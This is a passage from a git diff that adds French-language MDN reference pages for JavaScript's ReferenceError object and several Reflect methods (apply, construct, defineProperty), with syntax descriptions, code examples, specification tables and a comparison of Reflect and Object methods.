+<p>{{Compat("javascript.builtins.RangeError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html b/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html
new file mode 100644
index 0000000000..497cd92dd5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html
@@ -0,0 +1,131 @@
+---
+title: ReferenceError
+slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>ReferenceError</strong></code> représente une erreur qui se produit lorsqu'il est fait référence à une variable qui n'existe pas.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new ReferenceError(<var>[message[, nomFichier[, numLigne]]]</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Paramètre optionnel. Une description de l'erreur, lisible par un être humain.</dd>
+ <dt><code>nomFichier</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le nom du fichier qui contient le code à l'origine de l'exception.</dd>
+ <dt><code>numLigne</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le numéro de ligne dans le fichier qui contient le code à l'origine de l'exception.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>ReferenceError</code> est lancée quand on tente de faire référence à une variable qui n'a pas été déclarée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("ReferenceError.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à un objet <code>ReferenceError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>ReferenceError</code> ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes via l'héritage et sa chaîne de prototypes.</p>
+
+<h2 id="Instances_de_ReferenceError">Instances de <code>ReferenceError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','Properties')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype','M.C3.A9thodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Intercepter_une_exception_ReferenceError">Intercepter une exception ReferenceError</h3>
+
+<pre class="brush: js">try {
+  var a = variableNonDéfinie;
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "variableNonDéfinie is not defined"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "Scratchpad/1"
+  console.log(e.lineNumber);                // 2
+  console.log(e.columnNumber);              // 6
+  console.log(e.stack);                     // "@Scratchpad/2:2:7\n"
+}</pre>
+
+<h3 id="Créer_une_exception_ReferenceError">Créer une exception <code>ReferenceError</code></h3>
+
+<pre class="brush: js">try {
+  throw new ReferenceError('Bonjour', 'unFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "Bonjour"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "unFichier.js"
+  console.log(e.lineNumber);                // 10
+  console.log(e.columnNumber);              // 0
+  console.log(e.stack);                     // "@Scratchpad/2:2:9\n"
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("ReferenceError.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html
new file mode 100644
index 0000000000..0927a5a047
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html
@@ -0,0 +1,91 @@
+---
+title: ReferenceError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/ReferenceError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>ReferenceError.prototype</strong></code> représente le prototype du constructeur {{jsxref("ReferenceError")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("ReferenceError")}} héritent de <code>ReferenceError.prototype</code>. Le prototype peut être utilisé pour ajouter des propriétés ou des méthodes à chacune des instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>ReferenceError.prototype.constructor</code></dt>
+ <dd>Définit la fonction utilisée pour créer une instance du prototype.</dd>
+ <dt>{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}</dt>
+ <dd>Le message de l'erreur. Bien que ECMA-262 spécifie que <code>ReferenceError</code> devrait posséder une propriété <code>message</code> en propre, <a href="/fr/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> lui fait hériter de {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}</dt>
+ <dd>Le chemin du fichier à l'origine de cette erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne dans le fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne parmi la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}</dt>
+ <dd>La pile d'appels, héritée de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype pour {{jsxref("ReferenceError")}} ne contienne aucune méthode propre, les instances de <code>ReferenceError</code> héritent de certaines méthodes via la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html
new file mode 100644
index 0000000000..b6f27bc995
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.apply()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/apply
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.apply()</code></strong> permet d'appeler une fonction cible avec des arguments donnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.apply(cible, argumentThis, listeArguments)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>La fonction cible à appeler.</dd>
+ <dt><code>argumentThis</code></dt>
+ <dd>La valeur fournie pour <code>this</code> lors de l'appel à <em><code>cible</code></em>.</dd>
+ <dt><code>listeArguments</code></dt>
+ <dd>Un objet semblable à un tableau qui définit les arguments à passer à <em><code>cible</code></em>. S'il vaut {{jsxref("null")}} ou {{jsxref("undefined")}}, aucun argument ne sera passé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le résultat de l'appel de la fonction cible indiquée avec la valeur <code>this</code> et les arguments indiqués.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<p>Une exception {{jsxref("TypeError")}}, si <em>cible</em> ne peut pas être appelée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Avec ES5, on utilise généralement {{jsxref("Function.prototype.apply()")}} pour appeler une fonction avec une valeur <code>this</code> donnée et des arguments donnés.</p>
+
+<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
+
+<p><code>Reflect.apply</code> permet de rendre cela plus concis et facile à comprendre.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ["confabulation"]).index;
+// 4
+
+Reflect.apply("".charAt, "poneys", [3]);
+// "e"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.apply")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_méthodes_object/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_méthodes_object/index.html
new file mode 100644
index 0000000000..2c8844e085
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_méthodes_object/index.html
@@ -0,0 +1,99 @@
+---
+title: Comparaison entre Reflect et les méthodes d'Object
+slug: >-
+  Web/JavaScript/Reference/Objets_globaux/Reflect/Comparaison_entre_Reflect_et_les_méthodes_Object
+tags:
+  - Aperçu
+  - Intermédiaire
+  - JavaScript
+  - Object
+  - Reflect
+translation_of: >-
+  Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods
+---
+<div>{{jssidebar}}</div>
+
+<p>L'objet {{jsxref("Reflect")}}, introduit avec ES2015, est un objet natif fournissant des méthodes pour s'interfacer avec les objets JavaScript. Certaines fonctions statiques de <code>Reflect</code> ont une correspondance avec les méthodes fournies par {{jsxref("Object")}} et disponibles avant ES2015. Bien que ces méthodes aient un comportement similaire, il y a souvent de subtiles différences entre elles.</p>
+
+<p>Dans ce tableau, nous énumérons les différences entre les méthodes disponibles avec <code>Object</code> et <code>Reflect</code>. Si une méthode n'existe pas dans le cas indiqué, elle sera notée N/A.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom de la méthode</th>
+   <th scope="col"><code>Object</code></th>
+   <th scope="col"><code>Reflect</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>defineProperty()</code></td>
+   <td>{{jsxref("Object.defineProperty()")}} renvoie l'objet qui a été passé à la fonction. Déclenche une exception <code>TypeError</code> si la propriété n'a pu être définie sur l'objet.</td>
+   <td>{{jsxref("Reflect.defineProperty()")}} renvoie <code>true</code> si la propriété a été définie sur l'objet et <code>false</code> sinon.</td>
+  </tr>
+  <tr>
+   <td><code>defineProperties()</code></td>
+   <td>{{jsxref("Object.defineProperties()")}} renvoie les objets passés à la fonction. Déclenche une exception <code>TypeError</code> si une des propriétés n'a pu être définie.</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td><code>set()</code></td>
+   <td>N/A</td>
+   <td>{{jsxref("Reflect.set()")}} renvoie <code>true</code> si la propriété a été définie sur l'objet et <code>false</code> sinon. Déclenche une exception <code>TypeError</code> si la cible n'était pas un <code>Object</code>.</td>
+  </tr>
+  <tr>
+   <td><code>get()</code></td>
+   <td>N/A</td>
+   <td>{{jsxref("Reflect.get()")}} renvoie la valeur de la propriété. Déclenche une exception <code>TypeError</code> si la cible n'était pas un <code>Object</code>.</td>
+  </tr>
+  <tr>
+   <td><code>deleteProperty()</code></td>
+   <td>N/A</td>
+   <td>{{jsxref("Reflect.deleteProperty()")}} renvoie <code>true</code> si la propriété a été supprimée de l'objet et <code>false</code> sinon.</td>
+  </tr>
+  <tr>
+   <td><code>getOwnPropertyDescriptor()</code></td>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet passé en argument. Si la propriété n'existe pas, la méthode renvoie <code>undefined</code>. Si la valeur passée en premier argument n'est pas un objet, elle sera automatiquement convertie en un objet.</td>
+   <td>{{jsxref("Reflect.getOwnPropertyDescriptor()")}} renvoie un descripteur de la propriété si elle existe sur l'objet et <code>undefined</code> si elle n'existe pas. Déclenche une exception <code>TypeError</code> si la valeur passée en premier argument n'est pas un objet.</td>
+  </tr>
+  <tr>
+   <td><code>getOwnPropertyDescriptors()</code></td>
+   <td>{{jsxref("Object.getOwnPropertyDescriptors()")}} renvoie un objet contenant un descripteur de propriété pour chaque objet passé en argument. Renvoie un objet vide si l'objet passé en argument ne contient pas les descripteurs.</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td><code>getPrototypeOf()</code></td>
+   <td>{{jsxref("Object.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie <code>null</code> s'il n'y a pas de propriétés héritées. En ES5, déclenche une exception <code>TypeError</code> pour les valeurs qui ne sont pas des objets (pour ES6 et ensuite, les valeurs sont converties en objet).</td>
+   <td>{{jsxref("Reflect.getPrototypeOf()")}} renvoie le prototype de l'objet fourni. Renvoie <code>null</code> s'il n'y a pas de propriétés héritées et déclenche une exception <code>TypeError</code> pour les valeurs qui ne sont pas des objets.</td>
+  </tr>
+  <tr>
+   <td><code>setPrototypeOf()</code></td>
+   <td>{{jsxref("Object.setPrototypeOf()")}} renvoie l'objet fourni si le prototype a pu être défini. Déclenche une exception <code>TypeError</code> si le prototype utilisé n'était pas un objet ou <code>null</code> ou si le prototype de l'objet à modifier n'est pas extensible.</td>
+   <td>{{jsxref("Reflect.setPrototypeOf()")}} renvoie <code>true</code> si le prototype a pu être défini sur l'objet et <code>false</code> sinon (y compris lorsque le prototype n'est pas extensible). Déclenche une exception <code>TypeError</code> si la cible passée n'est pas un objet ou si le prototype à appliquer n'est pas un objet ou n'est pas <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>isExtensible()</code></td>
+   <td>{{jsxref("Object.isExtensible()")}} renvoie <code>true</code> si l'objet est extensible et <code>false</code> sinon. En ES5, déclenche une exception <code>TypeError</code> si le premier argument fourni n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et la méthode renvoie donc <code>false</code>.</td>
+   <td>
+    <p>{{jsxref("Reflect.isExtensible()")}} renvoie <code>true</code> si l'objet est extensible et <code>false</code> sinon. Déclenche une exception <code>TypeError</code> si le premier argument n'est pas un objet.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>preventExtensions()</code></td>
+   <td>
+    <p>{{jsxref("Object.preventExtensions()")}} renvoie l'objet qui a été rendu non-extensible. En ES5, déclenche une exception si l'argument n'est pas un objet. Avec ES6 et ensuite, si l'argument fourni est une valeur primitive, il est converti en un objet non-extensible et c'est cette valeur qui est renvoyée.</p>
+   </td>
+   <td>{{jsxref("Reflect.preventExtensions()")}} renvoie <code>true</code> si l'objet a été rendu non-extensible et <code>false</code> sinon. Déclenche une exception <code>TypeError</code> si l'argument n'est pas un objet.</td>
+  </tr>
+  <tr>
+   <td><code>keys()</code></td>
+   <td>{{jsxref("Object.keys()")}} renvoie un tableau de chaînes de caractères qui sont les noms des propriétés propres (et énumérables) de l'objet. En ES5, déclenche une exception <code>TypeError</code> si la cible n'est pas un objet. Avec ES6 et les versions suivantes, les valeurs primitives sont converties en objets.</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td><code>ownKeys()</code></td>
+   <td>N/A</td>
+   <td>{{jsxref("Reflect.ownKeys()")}} renvoie un tableau des noms des propriétés pour les clés des propriétés propres de de l'objet. Déclenche une exception <code>TypeError</code> si la cible n'est pas un objet.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html
new file mode 100644
index 0000000000..9f61844a66
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html
@@ -0,0 +1,163 @@
+---
+title: Reflect.construct()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/construct
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> agit comme l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new"><code>new</code></a> sous la forme d'une fonction. Elle est équivalente à <code>new cible(...args)</code> et permet d'indiquer un prototype différent.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.construct(cible, listeArguments[, newCible])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>La fonction cible à appeler.</dd>
+ <dt><code>listeArguments</code></dt>
+ <dd>Un objet semblable à un tableau définissant les arguments à passer à <code>cible</code> lors de l'appel. Utiliser {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument ne doit être fourni à la fonction.</dd>
+ <dt><code>newCible</code> {{optional_inline}}</dt>
+ <dd>Le constructeur dont le prototype devrait être utilisé. Voir également l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target">new.target</a></code>. Si <code>newCible</code> n'est pas présent, c'est <code>cible</code> qui sera utilisé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvelle instance de la cible indiquée, créée en l'appelant comme un constructeur (ou en appelant <code>newCible</code> si elle est fournie) avec les arguments fournis.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<p>Une exception {{jsxref("TypeError")}} si <code>cible</code> ou <code>newCible</code> ne sont pas des constructeurs.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Reflect.construct()</code> permet d'appeler un constructeur avec un nombre d'arguments variable (ce qui peut également être fait avec <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">l'opérateur de décomposition</a> et l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">new</a></code>).</p>
+
+<pre class="brush: js">var obj = new Toto(...args);
+var obj = Reflect.construct(Toto, args);</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.construct()">Utiliser <code>Reflect.construct()</code></h3>
+
+<pre class="brush: js">var d = Reflect.construct(Date, [1776, 6, 4]);
+d instanceof Date; // true
+d.getFullYear(); // 1776
+</pre>
+
+<h3 id="Utiliser_le_paramètre_newCible">Utiliser le paramètre <code>newCible</code></h3>
+
+<p>Pour plus d'informations sur la création de sous-classes, voir les <a href="/fr/docs/Web/JavaScript/Reference/Classes">classes</a> et l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target">new.target</a></code>.</p>
+
+<pre class="brush: js">function unConstructeur() {}
+var résultat = Reflect.construct(Array, [], unConstructeur);
+
+Reflect.getPrototypeOf(résultat); // unConstructeur.prototype
+Array.isArray(résultat); // true
+</pre>
+
+<h3 id="Une_comparaison_entre_Reflect.construct()_et_Object.create()">Une comparaison entre <code>Reflect.construct()</code> et <code>Object.create()</code></h3>
+
+<p>Avant l'apparition de <code>Reflect</code>, on pouvait construire des objets avec une combinaison donnée de consttructeur et de prototype grâce à {{jsxref("Object.create()")}}.</p>
+
+<pre class="brush: js">function MaClasseA() {
+  this.name = 'A';
+}
+
+function MaClasseB() {
+  this.name = 'B';
+}
+
+// Avec cette instruction :
+var obj1 = Reflect.construct(MaClasseA, args, MaClasseB);
+
+// on aura le même résultat qu'avec
+var obj2 = Object.create(MaClasseB.prototype);
+MaClasseA.apply(obj2, args);
+
+console.log(obj1.name); // 'A'
+console.log(obj2.name); // 'A'
+
+console.log(obj1 instanceof MaClasseA); // false
+console.log(obj2 instanceof MaClasseA); // false
+
+console.log(obj1 instanceof MaClasseB); // true
+console.log(obj2 instanceof MaClasseB); // true
+</pre>
+
+<p>Toutefois, si les résultats sont identiques, il y a une différence notable. Lorsqu'on utilise <code>Object.create()</code> et <code>Function.prototype.apply()</code>, l'opérateur <code>new.target</code> pointe vers <code>undefined</code> dans la fonction utilisée comme constructeur car le mot-clé <code>new</code> n'est pas utilisé à la création de l'objet.</p>
+
+<p>Mais quand on appelle <code>Reflect.construct()</code>, <code>new.target</code> pointe vers la valeur fournie par <code>newCible</code> si ce dernier est fourni ou vers <code>cible</code> sinon.</p>
+
+<pre class="brush: js">function MaClasseA() {
+  console.log('MaClasseA');
+  console.log(new.target);
+}
+function MaClasseB() {
+  console.log('MaClasseB');
+  console.log(new.target);
+}
+
+var obj1 = Reflect.construct(MaClasseA, args);
+// Résultat :
+//   MaClasseA
+//   function MaClasseA { ... }
+
+var obj2 = Reflect.construct(MaClasseA, args, MaClasseB);
+// Résultat :
+//   MaClasseA
+//   function MaClasseB { ... }
+
+var obj3 = Object.create(MaClasseB.prototype);
+MaClasseA.apply(obj3, args);
+// Résultat :
+//     MaClasseA
+//     undefined</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.construct")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new"><code>new</code></a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target">new.target</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html
new file mode 100644
index 0000000000..71d6e6b60f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.defineProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/defineProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.defineProperty()</code></strong> est semblable à {{jsxref("Object.defineProperty()")}} mais renvoie un {{jsxref("Boolean")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.defineProperty(<var>cible</var>, <var>cléPropriété</var>, <var>attributs</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible sur lequel on veut définir la propriété.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété qu'on souhaite définir ou modifier.</dd>
+ <dt><code>attributs</code></dt>
